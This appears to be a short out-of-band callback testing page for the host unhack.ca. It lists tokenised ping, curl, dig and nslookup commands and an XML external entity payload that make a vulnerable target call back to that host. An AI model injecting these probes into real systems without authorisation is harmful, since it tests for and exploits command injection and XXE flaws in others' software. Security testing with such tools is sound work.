$ ping -c1 -p 00ca3d6824d005a73aced4ca004c6300 unhack.ca
 
$ curl http://unhack.ca/p/ca3d6824d005a73aced4ca004c63
 
$ dig ca3d6824d005a73aced4ca004c63 @unhack.ca
 
$ dig ca3d6824d005a73aced4ca004c63.ns.unhack.ca
 
C:\> nslookup ca3d6824d005a73aced4ca004c63 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ca3d6824d005a73aced4ca004c63">]>
    <foo>&xxe;</foo>
Waiting for ping...